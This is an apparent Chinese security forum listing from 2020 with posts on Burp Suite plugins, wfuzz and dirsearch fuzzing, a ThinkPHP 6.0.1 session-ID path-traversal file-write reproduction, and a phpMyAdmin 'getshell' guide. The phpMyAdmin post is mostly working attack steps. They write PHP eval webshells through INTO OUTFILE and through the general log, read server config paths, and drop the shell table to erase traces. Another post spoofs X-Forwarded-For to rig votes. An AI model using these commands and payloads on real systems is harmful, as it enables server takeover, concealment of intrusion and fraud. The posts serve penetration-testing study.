赛克艾威漏洞预警(2月22-2月28号)

漏洞预警ypk 发表了文章 • 0 个评论 • 224 次浏览 • 2020-02-28 15:12 • 来自相关话题

Burpsuit常用插件推荐

Web安全渗透wssmile 发表了文章 • 1 个评论 • 791 次浏览 • 2020-02-22 14:18 • 来自相关话题

0x00 
前言
我们在测试的时候最常用的基本上是burp了,今天在这里汇总了一些burp上的插件,可以让我们在测试的过程中更加的得心应手~
 
0x01
j2eescan
J2EEScan是一个基于Web安全扫描套件Burp Suite Proxy的插件, 增加了针对J2EE应用的安全扫描测试项目。它增加了一些新的测试用例和新策略去发现不同的J2EE安全漏洞。
在这里找到直接安装就行了。





下面我们以我自己的留言板登录页面为例
演示一下使用方法。





 
在scanner里边找到数据包双击,然后会发现可能存在的问题。
 




另外也能看到一些服务器的信息。






0x02
BypassWAF
我们在渗透测试有时遇到WAF(应用层防火墙),这往往令人头疼。Burp Suite是响当当的web应用程序渗透测试集成平台,而这款插件可以帮助你绕过某些WAF。





 
 
0x03
CSRF Scanner





 
也就是可以自动化检测csrf的工具
 





 
0x04
 CO2
也就是能快捷启动sqlmap,当然可以设置各种payload。





还可以指定注入方式等。










 
0x05
xssValidator
同样的方法安装完之后。
跟爆破的方法一样
发送到intruder
设置关键词为123456





其他按下图设置










然后直接跑即可





因为我的留言板没加过滤,所以这些xss代码都能成功,我们判断这的依据也是后边的长度。
 
0x06
参考文章链接
https://blog.csdn.net/a15803617402/article/details/84880219
https://www.freebuf.com/sectool/158005.html
 
 
 

 
 
 
 
  查看全部
0x00 
前言
我们在测试的时候最常用的基本上是burp了,今天在这里汇总了一些burp上的插件,可以让我们在测试的过程中更加的得心应手~
 
0x01
j2eescan
J2EEScan是一个基于Web安全扫描套件Burp Suite Proxy的插件, 增加了针对J2EE应用的安全扫描测试项目。它增加了一些新的测试用例和新策略去发现不同的J2EE安全漏洞。
在这里找到直接安装就行了。

1.png

下面我们以我自己的留言板登录页面为例
演示一下使用方法。

2.png

 
在scanner里边找到数据包双击,然后会发现可能存在的问题。
 
3.png

另外也能看到一些服务器的信息。

4.png


0x02
BypassWAF
我们在渗透测试有时遇到WAF(应用层防火墙),这往往令人头疼。Burp Suite是响当当的web应用程序渗透测试集成平台,而这款插件可以帮助你绕过某些WAF。

5.png

 
 
0x03
CSRF Scanner

6.png

 
也就是可以自动化检测csrf的工具
 

7.png

 
0x04
 CO2
也就是能快捷启动sqlmap,当然可以设置各种payload。

8.png

还可以指定注入方式等。

9.png


10.png

 
0x05
xssValidator
同样的方法安装完之后。
跟爆破的方法一样
发送到intruder
设置关键词为123456

11.png

其他按下图设置

12.png


13.png

然后直接跑即可

01.png

因为我的留言板没加过滤,所以这些xss代码都能成功,我们判断这的依据也是后边的长度。
 
0x06
参考文章链接
https://blog.csdn.net/a15803617402/article/details/84880219
https://www.freebuf.com/sectool/158005.html
 
 
 

 
 
 
 
 

赛克艾威漏洞预警(2月15-2月21号)

漏洞预警ypk 发表了文章 • 0 个评论 • 209 次浏览 • 2020-02-21 12:27 • 来自相关话题

Fuzz测试初级学习

Web安全渗透muyu 发表了文章 • 0 个评论 • 837 次浏览 • 2020-02-16 17:28 • 来自相关话题

漏洞挖掘有三种方法:白盒代码审计、灰盒逆向工程、黑盒测试。
其中黑盒的Fuzz测试是效率最高的一种,能够快速验证大量潜在的安全威胁。
 
0x00什么是Fuzz测试?
fuzz工具非常多 如 libfuzz honggfuzz KernelFuzzer 也有专注进行web fuzz的wfuzz 但是fuzz功能可以分成两种 只是生成测试用例和检测程序使用测试用例后异常  这次使用radamsa和afl作为这两类工具
 
Fuzz测试,也叫做“模糊测试”,是一种挖掘软件安全漏洞、检测软件健壮性的黑盒测试,它通过向软件输入非法的字段,观测被测试软件是否异常而实现。Fuzz测试的概念非常容易理解,如果我们构造非法的报文并且通过测试工具打入被测设备,那么这就是一个Fuzz测试的测试例执行,大多数测试工程师肯定都尝试过这种测试手段。
 
对于网络协议漏洞挖掘来说,Fuzz测试也就意味着打入各种异常报文,然后观察设备是否有异常。
0x01Dirsearch
dirsearch是一个基于python的命令行工具,旨在暴力扫描页面结构,包括网页中的目录和文件
kali里面并没有dirsearch,需要从github下载!
下载地址:git clone https://github.com/maurosoria/dirsearch
并进入下载目录
cd dirsearch/
运行需要python环境,这里使用python3python3 dirsearch.py -u "http://localhost/" -e *




扫描网站需要指定网站的脚本类型, 为全部类型的脚本*
参数列表:
-h, --help 查看帮助
-u URL, --url=URL 设置url
-L URLLIST, --url-list=URLLIST 设置url列表
-e EXTENSIONS, --extensions=EXTENSIONS 网站脚本类型
-w WORDLIST, --wordlist=WORDLIST 设置字典
-l, --lowercase 小写
-f, --force-extensions 强制扩展字典里的每个词条
-s DELAY, --delay=DELAY 设置请求之间的延时
-r, --recursive Bruteforce recursively 递归地扫描
–scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS 扫描给定的url的子目录(用逗号隔开)
–exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS 在递归过程中排除指定的 子目录扫描(用逗号隔开)
-t THREADSCOUNT, --threads=THREADSCOUNT 设置扫描线程
-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES 排除指定的网站状态码(用逗 号隔开)
-c COOKIE, --cookie=COOKIE 设置cookie
–ua=USERAGENT, --user-agent=USERAGENT 设置用户代理
-F, --follow-redirects 跟随地址重定向扫描
-H HEADERS, --header=HEADERS 设置请求头
–random-agents, --random-user-agents 设置随机代理
–timeout=TIMEOUT 设置超时时间
–ip=IP 设置代理IP地址
–proxy=HTTPPROXY, --http-proxy=HTTPPROXY 设置http代理。例如127.0.0.1:8080
–max-retries=MAXRETRIES 设置最大的重试次数
-b, --request-by-hostname 通过主机名请求速度,默认通过IP
–simple-report=SIMPLEOUTPUTFILE 保存结果,发现的路径
–plain-text-report=PLAINTEXTOUTPUTFILE 保存结果,发现的路径和状态码
–json-report=JSONOUTPUTFILE 以json格式保存结果
 
0x02Wfuzz
Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击。比如:参数、认证、表单、目录/文件、头部等等,这款工具在kali里面自带,很方便使用。





 
Wfuzz找到下面的漏洞
可预测的认证可预测的session标志(session id)可预测的资源定位(目录和文件)注入路径遍历溢出跨站脚本认证漏洞不安全的直接对象引用…
使用
Wfuzz爆破文件:
wfuzz -w wordlist URL/FUZZ.php
Wfuzz爆破目录:
wfuzz -w wordlist URL/FUZZ
遍历枚举参数值:
e.g. 假如你发现了一个未授权漏洞,地址为:http://127.0.0.1/getuser.php?uid=123 可获取uid为123的个人信息
uid参数可以遍历,已知123为三位数纯数字,需要从000-999进行遍历,也可以使用wfuzz来完成:
wfuzz -z range,000-999 http://127.0.0.1/getuser.php?uid=FUZZ
Cookie测试:
上文 遍历枚举参数值 中说到有未授权漏洞,假设这个漏洞是越权漏洞,要做测试的肯定需要让wfuzz知道你的Cookie才能做测试。
如下命令即可携带上Cookie:
wfuzz -z range,000-999 -b session=session -b cookie=cookie http://127.0.0.1/getuser.php?uid=FUZZ
HTTP Headers测试:
e.g. 发现一个刷票的漏洞,这个漏洞需要伪造XFF头(IP)可达到刷票的效果,投票的请求为GET类型,地址为:http://127.0.0.1/get.php?userid=666。
那么现在我想给userid为666的朋友刷票,可以使用wfuzz完成这类操作:
wfuzz -z range,0000-9999 -H "X-Forwarded-For: FUZZ" http://127.0.0.1/get.php?userid=666
结束语
对于fuzz还有很多知识点,还需要一段时间去学习,当然,当你面对waf无所适从的时候,这时候你就可以Fuzz模糊测试来绕过waf,甚至你可以发现一些意想不到的姿势!
 
参考文章:
https://blog.csdn.net/JBlock/article/details/88619117
 
http://www.h3c.com/cn/d_201501/852549_30008_0.htm
 
https://blog.csdn.net/JBlock/article/details/88624657 查看全部
漏洞挖掘有三种方法:白盒代码审计、灰盒逆向工程、黑盒测试。
其中黑盒的Fuzz测试是效率最高的一种,能够快速验证大量潜在的安全威胁。
 
0x00什么是Fuzz测试?
fuzz工具非常多 如 libfuzz honggfuzz KernelFuzzer 也有专注进行web fuzz的wfuzz 但是fuzz功能可以分成两种 只是生成测试用例和检测程序使用测试用例后异常  这次使用radamsa和afl作为这两类工具
 
Fuzz测试,也叫做“模糊测试”,是一种挖掘软件安全漏洞、检测软件健壮性的黑盒测试,它通过向软件输入非法的字段,观测被测试软件是否异常而实现。Fuzz测试的概念非常容易理解,如果我们构造非法的报文并且通过测试工具打入被测设备,那么这就是一个Fuzz测试的测试例执行,大多数测试工程师肯定都尝试过这种测试手段。
 
对于网络协议漏洞挖掘来说,Fuzz测试也就意味着打入各种异常报文,然后观察设备是否有异常。
0x01Dirsearch
dirsearch是一个基于python的命令行工具,旨在暴力扫描页面结构,包括网页中的目录和文件
kali里面并没有dirsearch,需要从github下载!
下载地址:git clone https://github.com/maurosoria/dirsearch
并进入下载目录
cd dirsearch/

运行需要python环境,这里使用python3
python3 dirsearch.py -u "http://localhost/" -e *

01.png

扫描网站需要指定网站的脚本类型, 为全部类型的脚本*
参数列表:
-h, --help 查看帮助
-u URL, --url=URL 设置url
-L URLLIST, --url-list=URLLIST 设置url列表
-e EXTENSIONS, --extensions=EXTENSIONS 网站脚本类型
-w WORDLIST, --wordlist=WORDLIST 设置字典
-l, --lowercase 小写
-f, --force-extensions 强制扩展字典里的每个词条
-s DELAY, --delay=DELAY 设置请求之间的延时
-r, --recursive Bruteforce recursively 递归地扫描
–scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS 扫描给定的url的子目录(用逗号隔开)
–exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS 在递归过程中排除指定的 子目录扫描(用逗号隔开)
-t THREADSCOUNT, --threads=THREADSCOUNT 设置扫描线程
-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES 排除指定的网站状态码(用逗 号隔开)
-c COOKIE, --cookie=COOKIE 设置cookie
–ua=USERAGENT, --user-agent=USERAGENT 设置用户代理
-F, --follow-redirects 跟随地址重定向扫描
-H HEADERS, --header=HEADERS 设置请求头
–random-agents, --random-user-agents 设置随机代理
–timeout=TIMEOUT 设置超时时间
–ip=IP 设置代理IP地址
–proxy=HTTPPROXY, --http-proxy=HTTPPROXY 设置http代理。例如127.0.0.1:8080
–max-retries=MAXRETRIES 设置最大的重试次数
-b, --request-by-hostname 通过主机名请求速度,默认通过IP
–simple-report=SIMPLEOUTPUTFILE 保存结果,发现的路径
–plain-text-report=PLAINTEXTOUTPUTFILE 保存结果,发现的路径和状态码
–json-report=JSONOUTPUTFILE 以json格式保存结果
 
0x02Wfuzz
Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击。比如:参数、认证、表单、目录/文件、头部等等,这款工具在kali里面自带,很方便使用。

02.png

 
Wfuzz找到下面的漏洞
  • 可预测的认证
  • 可预测的session标志(session id)
  • 可预测的资源定位(目录和文件)
  • 注入
  • 路径遍历
  • 溢出
  • 跨站脚本
  • 认证漏洞
  • 不安全的直接对象引用

使用
Wfuzz爆破文件:
wfuzz -w wordlist URL/FUZZ.php

Wfuzz爆破目录:
wfuzz -w wordlist URL/FUZZ

遍历枚举参数值:
e.g. 假如你发现了一个未授权漏洞,地址为:http://127.0.0.1/getuser.php?uid=123 可获取uid为123的个人信息
uid参数可以遍历,已知123为三位数纯数字,需要从000-999进行遍历,也可以使用wfuzz来完成:
wfuzz -z range,000-999 http://127.0.0.1/getuser.php?uid=FUZZ

Cookie测试:
上文 遍历枚举参数值 中说到有未授权漏洞,假设这个漏洞是越权漏洞,要做测试的肯定需要让wfuzz知道你的Cookie才能做测试。
如下命令即可携带上Cookie:
wfuzz -z range,000-999 -b session=session -b cookie=cookie http://127.0.0.1/getuser.php?uid=FUZZ

HTTP Headers测试:
e.g. 发现一个刷票的漏洞,这个漏洞需要伪造XFF头(IP)可达到刷票的效果,投票的请求为GET类型,地址为:http://127.0.0.1/get.php?userid=666。
那么现在我想给userid为666的朋友刷票,可以使用wfuzz完成这类操作:
wfuzz -z range,0000-9999 -H "X-Forwarded-For: FUZZ" http://127.0.0.1/get.php?userid=666

结束语
对于fuzz还有很多知识点,还需要一段时间去学习,当然,当你面对waf无所适从的时候,这时候你就可以Fuzz模糊测试来绕过waf,甚至你可以发现一些意想不到的姿势!
 
参考文章:
https://blog.csdn.net/JBlock/article/details/88619117
 
http://www.h3c.com/cn/d_201501/852549_30008_0.htm
 
https://blog.csdn.net/JBlock/article/details/88624657

代码审计-thinkphp6.0.1任意文件创建

代码白盒测试lzy_smile 发表了文章 • 2 个评论 • 492 次浏览 • 2020-02-16 12:17 • 来自相关话题

前段时间think PHP6.0.2发布,在官网的think PHP6的讨论区发布修复了一处Session安全隐患,该处漏洞可以使攻击者在目标环境启用session的条件下创建任意文件以及删除任意文件,在特定情况下也可以getshell.
受影响的版本有think PHP6.0.0-6.0.1
0x01  漏洞复现
复现环境采用了thinkphp6.0.1+php7.1.13+nginx1.11.5 进行复现
首先使用composer创建think PHP6的框架目录
Composer create-project topthink/think tp6
因为这个是默认的最新版本,所以要去对其进行降级处理.修改根目录下的composer.json文件,如图所示:
 
然后执行composer update
图一





 
因为在tp6中默认是没有开启session功能,我们要去取消session中间件的注释.文件是app/middleware.php,如图所示:





 
图二
 
然后我们在public的目录下修改index.php,添加我们需要的代码.
如图所示:





 
图三
 
我们抓取数据包在burp里的repeater模块进行处理,





 
图四
然后我们在本地根目录下的\tp6\runtime\session中找到了我们刚刚写入的php文件





 
图五
 
但是默认的情况下thinkphp的网站把/public设置为网站的根目录,而生成的文件是在\runtime\session下,默认访问不到,所以我们可以用这个方法去饶过它
PHPSESSID=/../../../public/thisisaflag.php





 
图六
访问thisisaflag.php





 
图七
这个时候我们就在他的public目录下创建了一个thisisaflag.php文件
 
我们接下来如何想getshell呢?
我们绕过了访问文件的限制,接下来只要能够控制文件内容即可.我们放入另外一段测试代码,





 
图八
 
接着我们写入代码进行测试





 
图九
试着访问一下





 
图十
成功了!!!
 
0x02漏洞分析
在官方的文档上是对\vendor\topthink\framework\src\think\session\store.php中的setId()函数进行修改





 
图十一
我们可以看到这个函数只对获取到的id进行长度和是否是字符串进行检测!
接下来找到调用setid()的地方
vendor/topthink/framework/src/think/middleware/SessionInit.php





 
图十二
其中cookiename的值为PHPSESSION,而$sessionid是cookie中名为PHPSESSION的值,因此是攻击者可控的.
 
既然有setId()就有getId()





 
图十三
然后看看在哪里调用了getId()
在下面的save()函数里面调用了getId(),接着把得到的值传给了write()函数





 
图十四
跟踪这个函数,可以看到.





 
图十五
再继续跟踪writefile()函数





 
图16
 
确定是写入文件的操作!!!
 
再反向看一下,
1.函数file_put_contents($path,$content,LOCK_EX)中参数$path,$content来源于函数writeFile($path,$data)
2.函数writeFile($path,$data)中参数$path,$data来源于函数write(String $sessionID,String $sessiData)
3.函数write(String $sessionID,String $sessiData)中参数$sessionID,$sessiData来源于save()中调用了write(),同时传入的参数$sessionId的值是调用getId()传入的
综上:文件名来源于$sessionId
而$sessionid是可控的,所以可以写入文件!!!
 
 
0x03  思路小结
这里对这个漏洞进行分析时,已经知道在setid()函数处存在漏洞,对获取到的PHPSESSION值可控,然后在向服务器存储session文件时也没有检测,可以直接写入php文件,但是在tp6下,session不是默认启动的,所以在默认情况下不能利用.在目标环境开启session且写入的session可控的情况下,容易遭受任意文件写入攻击
代码审计刚开始,不足之处各位表哥多多指教! 查看全部
前段时间think PHP6.0.2发布,在官网的think PHP6的讨论区发布修复了一处Session安全隐患,该处漏洞可以使攻击者在目标环境启用session的条件下创建任意文件以及删除任意文件,在特定情况下也可以getshell.
受影响的版本有think PHP6.0.0-6.0.1
0x01  漏洞复现
复现环境采用了thinkphp6.0.1+php7.1.13+nginx1.11.5 进行复现
首先使用composer创建think PHP6的框架目录
Composer create-project topthink/think tp6

因为这个是默认的最新版本,所以要去对其进行降级处理.修改根目录下的composer.json文件,如图所示:
 
然后执行
composer update  

图一

1.png

 
因为在tp6中默认是没有开启session功能,我们要去取消session中间件的注释.文件是app/middleware.php,如图所示:

2.png

 
图二
 
然后我们在public的目录下修改index.php,添加我们需要的代码.
如图所示:

3.png

 
图三
 
我们抓取数据包在burp里的repeater模块进行处理,

4.png

 
图四
然后我们在本地根目录下的\tp6\runtime\session中找到了我们刚刚写入的php文件

5.png

 
图五
 
但是默认的情况下thinkphp的网站把/public设置为网站的根目录,而生成的文件是在\runtime\session下,默认访问不到,所以我们可以用这个方法去饶过它
PHPSESSID=/../../../public/thisisaflag.php

6.png

 
图六
访问thisisaflag.php

7.png

 
图七
这个时候我们就在他的public目录下创建了一个thisisaflag.php文件
 
我们接下来如何想getshell呢?
我们绕过了访问文件的限制,接下来只要能够控制文件内容即可.我们放入另外一段测试代码,

8.png

 
图八
 
接着我们写入代码进行测试

9.png

 
图九
试着访问一下

10.png

 
图十
成功了!!!
 
0x02漏洞分析
在官方的文档上是对\vendor\topthink\framework\src\think\session\store.php中的setId()函数进行修改

11.png

 
图十一
我们可以看到这个函数只对获取到的id进行长度和是否是字符串进行检测!
接下来找到调用setid()的地方
vendor/topthink/framework/src/think/middleware/SessionInit.php

12.jpg

 
图十二
其中cookiename的值为PHPSESSION,而$sessionid是cookie中名为PHPSESSION的值,因此是攻击者可控的.
 
既然有setId()就有getId()

13.png

 
图十三
然后看看在哪里调用了getId()
在下面的save()函数里面调用了getId(),接着把得到的值传给了write()函数

14.jpg

 
图十四
跟踪这个函数,可以看到.

15.jpg

 
图十五
再继续跟踪writefile()函数

16.jpg

 
图16
 
确定是写入文件的操作!!!
 
再反向看一下,
1.函数file_put_contents($path,$content,LOCK_EX)中参数$path,$content来源于函数writeFile($path,$data)
2.函数writeFile($path,$data)中参数$path,$data来源于函数write(String $sessionID,String $sessiData)
3.函数write(String $sessionID,String $sessiData)中参数$sessionID,$sessiData来源于save()中调用了write(),同时传入的参数$sessionId的值是调用getId()传入的
综上:文件名来源于$sessionId
而$sessionid是可控的,所以可以写入文件!!!
 
 
0x03  思路小结
这里对这个漏洞进行分析时,已经知道在setid()函数处存在漏洞,对获取到的PHPSESSION值可控,然后在向服务器存储session文件时也没有检测,可以直接写入php文件,但是在tp6下,session不是默认启动的,所以在默认情况下不能利用.在目标环境开启session且写入的session可控的情况下,容易遭受任意文件写入攻击
代码审计刚开始,不足之处各位表哥多多指教!

简述phpMyadmin如何getshell

Web安全渗透zh_smile 发表了文章 • 1 个评论 • 1019 次浏览 • 2020-02-14 14:14 • 来自相关话题

一.phpMyadmin介绍
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

二.信息收集
需要收集的是网站物理路径,否则后续无法通过URL连接Shell

(1)物理路径
查询数据库存储路径来推测网站物理路径,也可以通过log变量得到select @@datadir;




配置文件爆路径:如果注入点有文件读取权限,可通过load_file尝试读取配置文件
[code] # Windows
c:\windows\php.ini # php配置文件
c:\windows\system32\inetsrv\MetaBase.xml # IIS虚拟主机配置文件
# Linux
/etc/php.ini # php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf # Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf # 虚拟目录配置文件[/code]
单引号爆路径:直接在URL后面加单引号。要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.abc.com/index.php?id=1'错误参数值爆路径:尝试将要提交的参数值改成错误值。
www.abc.com/index.php?id=-1Nginx文件类型错误解析爆路径:要求Web服务器是Nginx,且存在文件类型解析漏洞。在图片地址后添加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。www.abc.com/bg.jpg/x.phpGoogle爆路径site:xxx.com warning
site:xxx.com “fatal error”测试文件爆路径www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php其它 phpMyAdmin/libraries/selectlang.lib.php
phpMyAdmin/darkblueorange/layout.inc.php
phpmyadmin/themes/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=1
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/phpinfo.php
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php
(2)其他信息
phpMyadmin后台面板可以直接看到MySQL版本、当前用户、操作系统、PHP版本、phpMyadmin版本等信息
也可以通过SQL查询得到其它信息select version(); -- 查看数据库版本select @@datadir; -- 查看数据库存储路径show VARIABLES like '%char%'; -- 查看系统变量三.Getshell前提以及三种方法
(1)前提条件
1.网站真实路径。如果不知道网站真实路径则后续无法通过URL的方式连shell
 
2.读写权限。查询secure_file_priv参数,查看是否具有读写文件权限,若为NULL则没有办法写入shell。这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生效[code] select @@secure_file_priv -- 查询secure_file_priv
-- secure_file_priv=NULL,禁止导入导出
-- secure_file_priv='',不限制导入导出
-- secure_file_priv=/path/,只能向指定目录导入导出
select load_file('c:/phpinfo.php'); -- 读取文件
select '123' into outfile 'c:/shell.php'; -- 写入文件[/code](2)三种方法
 
1.常规GetShell
直接通过SQL查询写入shell 
[code] -- 假设物理路径为 "E:\phpStudy\WWW"
select '<?php eval($_POST["123"]);?>' into outfile 'E:/phpStudy/WWW/shell.php';[/code]
2.日志GetShell
MySQL5.0版本以上会创建日志文件,通过修改日志的全局变量打开日志并指定日志保存路径,再通过查询写入一句话木马,此时该木马会被日志记录并生成日志文件,从而GetShell。但是前提是要对生成的日志文件有读写权限。
 
查询日志全局变量
[code]show variables like '%general%';
Variable_name Value
general_log OFF
general_log_file E:\phpStudy\MySQL\data\FengSec.log[/code]
general_log:日志保存状态
general_log_file:日志保存路径
开启日志保存并配置保存路径[code] set global general_log = "ON"; -- 打开日志保存
set global general_log_file = "E:/phpstudy/WWW/log.php"; -- 设置日志保存路径,需先得知网站物理路径,否则即使写入了Shell也无法通过URL连接[/code]
写shell
[code] select '<?php eval($_POST[123]); ?>';[/code]3.新表GetShell
进入一个数据库,新建数据表。名字随意,这里为shell_table,字段数填1





 
添加字段,字段名任意,这里为zhsmile,字段类型为TEXT





 
在该表中点击插入,值为一句话木马<?php eval($_POST[123]); ?>




 
执行SQL查询,将该表中的内容导出到指定文件
[code] -- 假设物理路径为 "E:\phpStudy\WWW"
select * from shell_table into outfile "E:/phpstudy/WWW/shell.php";[/code]









 
删除该表,抹除痕迹Drop TABLE IF EXISTS shell_table;
以上步骤也可以通过MySQL语句执行
[code] Create TABLE shell_table (xiaoma text NOT NULL) -- 建表
Insert INTO shell_table (xiaoma) VALUES('<?php eval($_POST[1]);?>'); -- 写入
select * from shell_table into outfile 'G:/phpstudy/WWW/shell.php'; -- 导出
Drop TABLE IF EXISTS shell_table; -- 删表[/code](3)特殊版本GetShell
CVE-2013-3238

影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
利用模块:exploit/multi/http/phpmyadminpregreplace

CVE-2012-5159

影响版本:phpMyAdmin v3.5.2.2
利用模块:exploit/multi/http/phpmyadmin3522_backdoor

CVE-2009-1151

PhpMyAdmin配置文件/config/config.inc.php存在命令执行
影响版本:2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
利用模块:exploit/unix/webapp/phpmyadmin_config

弱口令&万能密码

弱口令:版本phpmyadmin2.11.9.2, 直接root用户登陆,无需密码
万能密码:版本2.11.3 / 2.11.4,用户名’localhost’@'@”则登录成功

 
 
 
 
备注:文章转载自FreeBuf.COM
https://www.freebuf.com/articles/web/226240.html 查看全部
一.phpMyadmin介绍
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

二.信息收集
需要收集的是网站物理路径,否则后续无法通过URL连接Shell

(1)物理路径
查询数据库存储路径来推测网站物理路径,也可以通过log变量得到
select @@datadir;

TA5)T)C@BYOZ87H4S_X6C3.png

配置文件爆路径:如果注入点有文件读取权限,可通过load_file尝试读取配置文件
[code] # Windows
c:\windows\php.ini # php配置文件
c:\windows\system32\inetsrv\MetaBase.xml # IIS虚拟主机配置文件
# Linux
/etc/php.ini # php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf # Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf # 虚拟目录配置文件
[/code]
单引号爆路径:直接在URL后面加单引号。要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.abc.com/index.php?id=1'
错误参数值爆路径:尝试将要提交的参数值改成错误值。
www.abc.com/index.php?id=-1
Nginx文件类型错误解析爆路径:要求Web服务器是Nginx,且存在文件类型解析漏洞。在图片地址后添加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。
www.abc.com/bg.jpg/x.php
Google爆路径
site:xxx.com warning
site:xxx.com “fatal error”
测试文件爆路径
www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php
其它
 phpMyAdmin/libraries/selectlang.lib.php 
phpMyAdmin/darkblueorange/layout.inc.php
phpmyadmin/themes/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=1
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/phpinfo.php
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php

(2)其他信息
phpMyadmin后台面板可以直接看到MySQL版本、当前用户、操作系统、PHP版本、phpMyadmin版本等信息
也可以通过SQL查询得到其它信息
select version(); -- 查看数据库版本
select @@datadir; -- 查看数据库存储路径
show VARIABLES like '%char%'; -- 查看系统变量
三.Getshell前提以及三种方法
(1)前提条件
1.网站真实路径。如果不知道网站真实路径则后续无法通过URL的方式连shell
 
2.读写权限。查询secure_file_priv参数,查看是否具有读写文件权限,若为NULL则没有办法写入shell。这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生效
[code] select @@secure_file_priv   -- 查询secure_file_priv
-- secure_file_priv=NULL,禁止导入导出
-- secure_file_priv='',不限制导入导出
-- secure_file_priv=/path/,只能向指定目录导入导出
select load_file('c:/phpinfo.php'); -- 读取文件
select '123' into outfile 'c:/shell.php'; -- 写入文件
[/code](2)三种方法
 
1.常规GetShell
直接通过SQL查询写入shell 
[code] -- 假设物理路径为 "E:\phpStudy\WWW"
select '<?php eval($_POST["123"]);?>' into outfile 'E:/phpStudy/WWW/shell.php';
[/code]
2.日志GetShell
MySQL5.0版本以上会创建日志文件,通过修改日志的全局变量打开日志并指定日志保存路径,再通过查询写入一句话木马,此时该木马会被日志记录并生成日志文件,从而GetShell。但是前提是要对生成的日志文件有读写权限。
 
查询日志全局变量
[code]show variables like '%general%';
Variable_name Value
general_log OFF
general_log_file E:\phpStudy\MySQL\data\FengSec.log
[/code]
general_log:日志保存状态
general_log_file:日志保存路径
开启日志保存并配置保存路径
[code] set global general_log = "ON";    -- 打开日志保存
set global general_log_file = "E:/phpstudy/WWW/log.php"; -- 设置日志保存路径,需先得知网站物理路径,否则即使写入了Shell也无法通过URL连接
[/code]
写shell
[code] select '<?php eval($_POST[123]); ?>';
[/code]3.新表GetShell
进入一个数据库,新建数据表。名字随意,这里为shell_table,字段数填1

K~H()(5C{5I~`A7C8DZ]2.png

 
添加字段,字段名任意,这里为zhsmile,字段类型为TEXT

YI`K7IJH}(U{E5[~8U@8A6.png

 
在该表中点击插入,值为一句话木马
<?php eval($_POST[123]); ?>

W_CTZ@8AMPB66VBHNHR7FK.png

 
执行SQL查询,将该表中的内容导出到指定文件
[code] -- 假设物理路径为 "E:\phpStudy\WWW"
select * from shell_table into outfile "E:/phpstudy/WWW/shell.php";
[/code]
UJOM[@Z_P]59}UI86(QAK6F.png


[B8U71M31NQWV`CPF)77HO2.png

 
删除该表,抹除痕迹
Drop TABLE IF EXISTS shell_table;

以上步骤也可以通过MySQL语句执行
[code] Create TABLE shell_table (xiaoma text NOT NULL) -- 建表
Insert INTO shell_table (xiaoma) VALUES('<?php eval($_POST[1]);?>'); -- 写入
select * from shell_table into outfile 'G:/phpstudy/WWW/shell.php'; -- 导出
